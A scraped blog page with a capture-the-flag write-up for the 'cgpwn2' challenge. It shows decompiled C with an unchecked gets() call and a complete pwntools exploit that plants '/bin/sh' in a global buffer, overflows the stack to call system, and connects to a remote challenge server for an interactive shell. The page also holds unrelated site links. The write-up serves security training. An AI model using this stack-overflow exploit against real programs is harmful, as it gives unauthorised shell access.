当前位置:网站首页>PWN attack and defense world cgpwn2
PWN attack and defense world cgpwn2
2022-07-02 00:00:00 【Day-3】
First , View the relevant contents of the file .
Throw in IDA View code in .
main function
int __cdecl main(int argc, const char **argv, const char **envp)
{
setbuf(stdin, 0);
setbuf(stdout, 0);
setbuf(stderr, 0);
hello();
puts("thank you");
return 0;
}
hello function
char *hello()
{
__int16 *p_s; // eax
char v1; // bl
unsigned int v2; // ecx
__int16 *v3; // eax
__int16 s; // [esp+12h] [ebp-26h] BYREF
int v6; // [esp+14h] [ebp-24h] BYREF
p_s = &s;
v1 = 30;
if ( ((unsigned __int8)&s & 2) != 0 )
{
s = 0;
p_s = (__int16 *)&v6;
v1 = 28;
}
v2 = 0;
do
{
*(_DWORD *)&p_s[v2 / 2] = 0;
v2 += 4;
}
while ( v2 < (v1 & 0x1Cu) );
v3 = &p_s[v2 / 2];
if ( (v1 & 2) != 0 )
*v3 = 0;
puts("please tell me your name");
fgets(name, 50, stdin);
puts("hello,you can leave some message here:");
return gets((char *)&s);
}
We can do it in name String left in “/bin/sh”, Then stack overflow , obtain shell.
To write exp:
from pwn import *
context(os='Linux',arch="x86",log_level="debug")
bin_sh_addr = 0x0804A080
elf = ELF('cgpwn2')
system_addr = elf.plt["system"]
content = 0
def main():
global day3
if content == 1:
day3 = process("cgpwn2")
else:
day3 =remote("111.200.241.244",64520)
payload = b'a' * (0x26 + 4) + p32(system_addr) + b'aaaa'
payload = payload + p32(bin_sh_addr)
day3.recvuntil("please tell me your name\n")
day3.sendline("/bin/sh")
day3.recvuntil("hello,you can leave some message here:\n")
day3.sendline(payload)
day3.interactive()
main()
Finally get Flag.
边栏推荐
- Record the accidental success and failure of uploading large files
- ADO. Net SqlCommand object
- Review data desensitization system
- [QT] QT cannot find a solution to the compiler using msvc2017
- vs2015 AdminDeployment. xml
- 时间复杂度与空间复杂度
- PostgreSQL notes (10) dynamically execute syntax parsing process
- Resumption of attack and defense drill
- Redis RDB snapshot
- [es practice] safe operation mode on ES
猜你喜欢
比较通俗易懂的PID理解
Windows10 install WSL (I) (wslregisterdistribution error)
Redis master-slave synchronization
【QT】对于Qt MSVC 2017无法编译的问题解决
[es practice] safe operation mode on ES
Linux CentOS7安装Oracle11g的超完美新手教程
Redis RDB snapshot
Write some suggestions to current and future doctoral students to sort out and share
边缘计算概述
时间复杂度与空间复杂度
随机推荐
13 MySQL-约束
【CMake】Qt creator 里面的 cmake 配置
Difficult to get up syndrome (bit by bit greed)
起床困难综合症(按位贪心)
UDS bootloader of s32kxxx bootloader
How to solve the image pop-up problem when pycharm calls Matplotlib to draw
Kubernetes resource object introduction and common commands (III)
股票开户哪个证券公司最好,有安全保障吗
ADO.NET 之sqlConnection 对象使用摘要
2022-07-01: at the annual meeting of a company, everyone is going to play a game of giving bonuses. There are a total of N employees. Each employee has construction points and trouble points. They nee
Key points of security agreement
PostgreSQL source code (58) tuple splicing heap_ form_ Tuple analysis
[cmake] cmake configuration in QT Creator
Windows10 install WSL (I) (wslregisterdistribution error)
Selectively inhibiting learning bias for active sampling
求逆序数的三个方法
Is it safe to choose mobile phone for stock trading account opening in Beijing?
边缘计算概述
cookie、session、tooken
Asp .NetCore 微信订阅号自动回复之文本篇